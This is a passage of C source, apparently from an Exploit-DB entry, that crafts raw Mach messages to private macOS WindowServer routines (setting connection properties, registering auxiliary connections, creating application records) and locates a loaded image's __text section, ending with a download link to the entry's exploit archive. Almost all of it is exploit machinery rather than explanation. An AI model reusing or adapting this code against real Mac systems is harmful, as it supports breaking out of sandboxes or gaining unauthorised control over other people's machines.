                continue;
            struct section_64 *sections = (struct section_64 *)(segment_command_64 + 1);
            ENFORCE(segment_command_64->nsects < 0x100, fail);
            ENFORCE(load_command->cmdsize == sizeof(struct segment_command_64) + segment_command_64->nsects*sizeof(struct section_64), fail);
            for (uint32_t sect_i = 0; sect_i < segment_command_64->nsects; sect_i++)
            {
                if (strcmp(sections[sect_i].sectname, "__text") != 0)
                    continue;
                *text_address = (void *)(sections[sect_i].addr + _dyld_get_image_vmaddr_slide(i));
                *text_size = sections[sect_i].size;
                return 0;
            }
        }
    }
fail:
    return -1;
}

#pragma pack(push, 4)
typedef struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t ool_serialized_value;
        NDR_record_t NDR_record;
        uint64_t connection_id;
        uint32_t key_len;
        char key[128];
        uint32_t serialized_value_length;
} CGSSetConnectionProperty_message_t;
#pragma pack(pop)

static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate)
{
    CGSSetConnectionProperty_message_t msg;
    memset(&msg, 0, sizeof(msg));

    msg.body.msgh_descriptor_count = 1;
    
    msg.ool_serialized_value.type = MACH_MSG_OOL_DESCRIPTOR;
    msg.ool_serialized_value.address = (void *)serialized_value;
    msg.ool_serialized_value.size = serialized_value_length;
    msg.ool_serialized_value.deallocate = deallocate;
    msg.ool_serialized_value.copy = MACH_MSG_VIRTUAL_COPY;

    msg.NDR_record = NDR_record;
    msg.connection_id = connection_id;
    strncpy(msg.key, key_value, sizeof(msg.key));
    msg.key_len = 127;
    msg.serialized_value_length = serialized_value_length;


    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    msg.header.msgh_remote_port = connection_port;
    msg.header.msgh_id = 29398;

    kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
    return kr;
}


#pragma pack(push, 4)
typedef struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t ool_serialized_value;
        NDR_record_t NDR_record;
        uint32_t serialized_value_length;
} CGSSetPerUserConfigurationData_message_t;
#pragma pack(pop)

#pragma pack(push, 4)
typedef struct {
        mach_msg_header_t header;
        NDR_record_t NDR_record;
        uint64_t process_serial_number;
        uint32_t connection_id;
} CGSSetAuxConn_message_t;
#pragma pack(pop)

static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number)
{
    CGSSetAuxConn_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.connection_id = connection_id;
    msg.process_serial_number = *(uint64_t *)process_serial_number;

    msg.NDR_record = NDR_record;

    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
    msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
    msg.header.msgh_id = 29368;

    return mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
}

#pragma pack(push, 4)
typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    ProcessSerialNumber sn;
    uint32_t session_id;
    uint32_t session_attributes;
    uint32_t unknown_2;
    uint32_t pid;
    uint32_t padding_1;
    uint32_t app_name_len;
    char app_name[128];
    char multi_process;
    uint32_t connection_id;
    uint32_t padding_2;
} CGSCreateApplication_message_t;

typedef struct {
    mach_msg_header_t header;
    NDR_record_t NDR_record;
    kern_return_t retcode;
} CGSCreateApplication_reply_t;
#pragma pack(pop)

static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id)
{
    CGSCreateApplication_message_t msg;
    memset(&msg, 0, sizeof(msg));
    
    msg.connection_id = connection_id;
    msg.sn = sn;
    msg.session_id = session_id;
    msg.session_attributes = session_attributes;
    msg.unknown_2 = unknown_2;
    msg.pid = pid;
    strncpy(msg.app_name, app_name, sizeof(msg.app_name));
    msg.app_name_len = 127;
    msg.multi_process = multi_process;
    msg.connection_id = sent_connection_id;

    msg.NDR_record = NDR_record;

    msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
    msg.header.msgh_id = 29507;
    msg.header.msgh_local_port = mig_get_reply_port();

    mach_msg_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, sizeof(msg), sizeof(msg), msg.header.msgh_local_port, 0, 0);
    if (kr != KERN_SUCCESS)
    {
        switch (kr) {
            case MACH_SEND_INVALID_DATA:
            case MACH_SEND_INVALID_DEST:
            case MACH_SEND_INVALID_HEADER:
                mig_put_reply_port(msg.header.msgh_local_port);
                break;
            default: 
                mig_dealloc_reply_port(msg.header.msgh_local_port);
        }
    }
    else
        kr = ((CGSCreateApplication_reply_t *)&msg)->retcode;
    return kr;
}


static void timed_log(char* format, ...)
{
    char buffer[30];

    struct tm* time_info;
    time_t t = time(NULL);
    time_info = localtime(&t);
    strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
    fputs(buffer, stderr);

    va_list args;
    va_start(args, format);
    vfprintf(stderr, format, args);
    va_end(args);
}


# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46428.zip